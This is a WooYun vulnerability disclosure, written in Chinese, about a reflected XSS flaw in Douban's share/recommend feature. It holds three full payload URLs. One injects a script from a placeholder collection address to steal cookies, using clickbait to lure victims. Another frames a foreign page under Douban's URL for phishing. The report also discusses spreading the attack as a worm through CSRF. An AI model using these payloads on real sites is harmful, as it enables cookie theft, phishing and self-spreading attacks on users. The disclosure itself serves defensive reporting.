WooYun.org

1:像豆瓣广播这种关键位置应该早就被里里外外挖了个遍,不过还是遇到一个遗漏点,在"推荐"到豆瓣广播这一功能中,desc参数为空时则href参数能够造成xss攻击,由于触发容易且位置显眼很容易引发大范围蠕虫
示例1
http://www.douban.com/share/recommend?sanity_key=_da6c6&apikey=&name=&image=http://img3.douban.com/view/status/median/public/d20a54a640f40eb.jpg&redir=&btn_text=%E6%8E%A8%E8%8D%90&href=javascript:alert('heheworld')&type=&properties={}&desc=

之后假设这样的情况,当这处参数被嵌入恶意代码并进行一番"易容"诱惑受害者去点击,例如这里我通过检索找了个公众热度较高的豆瓣红人,通过推荐她的发言,文章,等内容后修改特定参数,借此人名义可去迷惑受害者,无论是点击图片还是描述都会立即触发,测试中无视谷歌浏览器的filter,即便会有警惕的人将其识破,但对用户基数庞大的sns社区来说,这种比例又是多少,一旦被人用来进行csrf,让查看这则动态的受害者自动发送携恶意代码的广播又会造成什么后果
示例2:http://www.douban.com/share/recommend?sanity_key=_da6c6&apikey=&name=浮力森林的相册&image=http://img3.douban.com/view/status/median/public/d20a54a640f40eb.jpg&redir=&btn_text=%E6%8E%A8%E8%8D%90&href=javascript:'胸太大也会有很多烦恼的,穿什么都显胖,我觉得女生脚好看也是很性感的,诸如此类写一些吸引性的标题,点击文字或图片即触发,多凑些字把后面的代码挤走就',x=document.createElement('script');x.setAttribute('src', 'xss收信地址');document.documentElement.appendChild(x)&type=&properties={}&desc=

经测试代码中的;号会截断xss语句,所以得用eval处理下,或是用不带分号的写法,此处仅证明可以触发xss成功获取cookie

2:如果这个xss被用来实施钓鱼呢?目前有不少比较猥琐的钓鱼页面都是直接另存原页面的源码,在其基础上稍加修改而来的,再以个什么借口让用户重新登陆,那么如果利用xss将这样的钓鱼内容在原页面上输出,就可以进一步做到url欺骗的效果
示例3:http://www.douban.com/share/recommend?sanity_key=_da6c6&apikey=&name=&image=http://img3.douban.com/view/status/median/public/d20a54a640f40eb.jpg&redir=&btn_text=%E6%8E%A8%E8%8D%90&href=javascript:document.write("<frameset cols=\"0,*\" frameborder=\"NO\" border=\"0\" framespacing=\"0\"><frame src=\"/null.htm\" scrolling=\"NO\" noresize><frame src=\"http://www.zhihu.com/\"></frameset>")&type=&properties={}&desc=

这里加载了知乎的页面却仍保留了豆瓣的url,能够是知乎也当然可以是上面提到的那种页面,外貌上完全一致加上url毫无破绽,没有个血轮眼很难识破,而且在Chrome下查看源码时也也仅会显示原豆瓣的源码,如果这样的攻击在结束后跳转到真实的地址,基本上就能不留痕迹的完成钓鱼过程,一旦配合csrf进行大范围蠕虫后果可想而知
另外想问下集齐多少颗豆瓣的洞能够召唤礼物